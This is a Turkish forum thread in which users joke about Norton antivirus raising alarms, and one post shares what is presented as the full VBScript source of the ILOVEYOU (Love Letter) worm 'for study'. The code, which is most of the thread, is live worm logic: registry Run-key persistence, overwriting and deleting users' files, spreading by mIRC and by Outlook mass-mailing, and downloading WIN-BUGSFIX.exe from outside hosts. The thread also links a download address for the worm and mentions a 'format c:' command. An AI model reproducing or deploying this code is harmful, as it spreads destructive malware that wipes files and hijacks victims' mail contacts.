nortınun kudurmasının sebebi siz internetten her dosyayı açtığınızde i. e. bunu temp. e atar norton hdd ye yazılan her dosyayı sniyenin 10/1 inde taradığı için kaçırmaz ve instr olarak bu kodu bulur... buda nortnun kudurma sebebidir kodu http://devteam.tahribat.com/love-letter. vbs adresinden indirebilirsiniz

Heralde bişey vardı ki alarm vermiş. ya da başka bişeye alarm verdi de sen o an onunla ugrastiin icin ole anladin. ya da ne biliim... This time, action must speak louder than words...

Virüsü yazan herif buda You think the game is over? It has just begun ;)

WAy be. Bi' zararı dokunmaz heralde. Ama gerçekten iyi yapmışlar. Yani mesela ben bu kodu birine versem al işte chat kodu vbde falan gibi. adam da alsa exe yapsa açsa... heralde ondan dolayı yapmışlar. ya da ne biliim güvenlik işte This time, action must speak louder than words...

abi nerden buldun bu kodları yaw? Zimbabwe

İncelemek isteyene love letter worm"unun kaynak kodları kodlar hakkaten çok orjinal inceleyip bakın derim Love letter Worm On Error Resume Next dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow eq="" ctr=0 Set fso = CreateObject set file = fso. OpenTextFile(WScript. ScriptFullname,1) vbscopy=file. ReadAll main sub main On Error Resume Next dim wscr, rr set wscr=CreateObject rr=wscr. RegRead if (rr>=1) then wscr. RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso. GetSpecialFolder(0) Set dirsystem = fso. GetSpecialFolder(1) Set dirtemp = fso. GetSpecialFolder(2) Set c = fso. GetFile c. Copy(dirsystem&"\MSKernel32. vbs") c. Copy(dirwin&"\Win32DLL. vbs") c. Copy regruns html spreadtoemail listadriv end sub sub regruns On Error Resume Next Dim num, downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32 ", dirsystem&"\MSKernel32. vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi n32DLL", dirwin&"\Win32DLL. vbs" downread="" downread=regget if then downread="c:\" end if if (fileexist(dirsystem&"\WinFAT32. exe")=1) then Randomize num = Int((4 Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/ young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj w6587345gvsdf7679njbvYT/WIN-BUGSFIX. exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/ angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe 546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX. exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/ koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm POhfgER67b3Vbvg/WIN-BUGSFIX. exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/ chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX. exe" end if end if if (fileexist =0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI X", downread&"\WIN-BUGSFIX. exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" end if end sub sub listadriv On Error Resume Next Dim d, dc, s Set dc = fso. Drives For Each d in dc If d. DriveType = 2 or d. DriveType=3 Then folderlist end if Next listadriv = s end sub sub infectfiles On Error Resume Next dim f, f1, fc, ext, ap, mircfname, s, bname, mp3 set f = fso. GetFolder set fc = f. Files for each f1 in fc ext=fso. GetExtensionName(f1. path) ext=lcase s=lcase(f1. name) if or then set ap=fso. OpenTextFile(f1. path,2, true) ap. write vbscopy ap. close elseif or or or or or then set ap=fso. OpenTextFile(f1. path,2, true) ap. write vbscopy ap. close bname=fso. GetBaseName(f1. path) set cop=fso. GetFile(f1. path) cop. copy fso. DeleteFile(f1. path) elseif or then set ap=fso. OpenTextFile(f1. path,2, true) ap. write vbscopy ap. close set cop=fso. GetFile(f1. path) cop. copy(f1. path&". vbs") fso. DeleteFile(f1. path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso. CreateTextFile(f1. path&". vbs") mp3. write vbscopy mp3. close set att=fso. GetFile(f1. path) att. attributes=att. attributes+2 end if if then if (s="mirc32. exe") or (s="mlink32. exe") or or or then set scriptini=fso. CreateTextFile scriptini. WriteLine " " scriptini. WriteLine ";mIRC Script" scriptini. WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini. WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini. WriteLine ";" scriptini. WriteLine ";Khaled Mardam-Bey" scriptini. WriteLine ";http://www.mirc.com" scriptini. WriteLine ";" scriptini. WriteLine "n0=on 1:JOIN:#:{" scriptini. WriteLine "n1= /if " scriptini. WriteLine "n2= /. dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU. HTM" scriptini. WriteLine "n3=}" scriptini. close eq=folderspec end if end if next end sub sub folderlist On Error Resume Next dim f, f1, sf set f = fso. GetFolder set sf = f. SubFolders for each f1 in sf infectfiles(f1. path) folderlist(f1. path) next end sub sub regcreate Set regedit = CreateObject regedit. RegWrite regkey, regvalue end sub function regget Set regedit = CreateObject regget=regedit. RegRead end function function fileexist On Error Resume Next dim msg if (fso. FileExists Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist On Error Resume Next dim msg if (fso. GetFolderExists then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail On Error Resume Next dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad set regedit=CreateObject set out=WScript. CreateObject set mapi=out. GetNameSpace for ctrlists=1 to mapi. AddressLists. Count set a=mapi. AddressLists x=1 regv=regedit. RegRead if then regv=1 end if if (int >int then for ctrentries=1 to a. AddressEntries. Count malead=a. AddressEntries regad="" regad=regedit. RegRead if then set male=out. CreateItem(0) male. Recipients. Add male. Subject = "ILOVEYOU" male. Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male. Attachments. Add male. Send regedit. RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if x=x+1 next regedit. RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a, a. AddressEntries. Count else regedit. RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a, a. AddressEntries. Count end if next Set out=Nothing Set mapi=Nothing end sub sub html On Error Resume Next dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder?-? ispyder@mail.com?-? @GRAMMERSoft Group?-? Manila, Philippines?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window. name=#-#main#-#;window. open @-@ "&vbcrlf& _ "ONKEYDOWN=@-@window. name=#-#main#-#;window. open @-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@> z z <?-?MARQUEE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-?-?"&vbcrlf& _ "if "&vbcrlf& _ "?-?-?-->"&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _ "on error resume next"&vbcrlf& _ "dim fso, dirsystem, wri, code, code2, code3, code4, aw, regdit"&vbcrlf& _ "aw=1"&vbcrlf& _ "code=" dta2="set fso=CreateObject "&vbcrlf& _ "set dirsystem=fso. GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code, chr(91)&chr(45)&chr(91), chr(39))"&vbcrlf& _ "code3=replace(code2, chr(93)&chr(45)&chr(93), chr(34))"&vbcrlf& _ "code4=replace(code3, chr(37)&chr(45)&chr(37), chr(92))"&vbcrlf& _ "set wri=fso. CreateTextFile(dirsystem&@-@^-^MSKernel32. vbs@-@)"&vbcrlf& _ "wri. write code4"&vbcrlf& _ "wri. close"&vbcrlf& _ "if (fso. FileExists(dirsystem&@-@^-^MSKernel32. vbs@-@)) then"&vbcrlf& _ "if (err. number=424) then"&vbcrlf& _ "aw=0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=1) then"&vbcrlf& _ "document. write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window. close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit = CreateObject "&vbcrlf& _ "regedit. RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Ru n^-^MSKernel32@-@, dirsystem&@-@^-^MSKernel32. vbs@-@"&vbcrlf& _ "?-?-?-->"&vbcrlf& _ "<?-?SCRIPT>" dt1=replace(dta1, chr(35)&chr(45)&chr(35),""") dt1=replace(dt1, chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1, chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4, chr(94)&chr(45)&chr(94),"\") dt2=replace(dta2, chr(35)&chr(45)&chr(35),""") dt2=replace(dt2, chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2, chr(63)&chr(45)&chr(63),"/") dt6=replace(dt3, chr(94)&chr(45)&chr(94),"\") set fso=CreateObject set c=fso. OpenTextFile(WScript. ScriptFullName,1) lines=Split l1=ubound for n=0 to ubound lines =replace(lines ,""", chr(91)+chr(45)+chr(91)) lines =replace(lines ,"""", chr(93)+chr(45)+chr(93)) lines =replace(lines ,"\", chr(37)+chr(45)+chr(37)) if (l1=n) then lines =chr(34)+lines +chr(34) else lines =chr(34)+lines +chr(34)&"&vbcrlf& _" end if next set b=fso. CreateTextFile b. close set d=fso. OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU. HTM",2) d. write dt5 d. write join d. write vbcrlf d. write dt6 d. close end sub You think the game is over? It has just begun ;)

açınca norton kudurdu resmen. alarm üstüne alarm. tabi cevap yazarken de. vb kodundan nası bişi bulur... garip.. bi daa olmasın :D This time, action must speak louder than words...

ohaaaa abi sayfa açılınca temporart internet filesda virüs buldu norton :))) geçen günde bi bat dosyasının içinde format c: /q/s yazısı vardı onuda virüs die grdü :))) Sanıyorum kendi ataszümü yaptım, kaynak belirterek kullanabilirsiniz. 10.05.2013 tarihli google arama sonucu : Aradığınız - "herşeyin hayırlısı rampanın bayırlısı" - ile ilgili hiçbir arama sonucu mevcut değil. Not : Syleyeni belli olduğu için ataszü değil, zlüsz oluyormuş, dolayısı ile kendi zlüszümü yapmış oldum :)

kudurmazmı kudurur tabi hemen love letter :) acaip bi programlama war bu nortonda ya text formatında sayfada gzükünce bile uyarıyo virüs diye.. 222 gün siteye giriş yapmayı unutan emekli admin.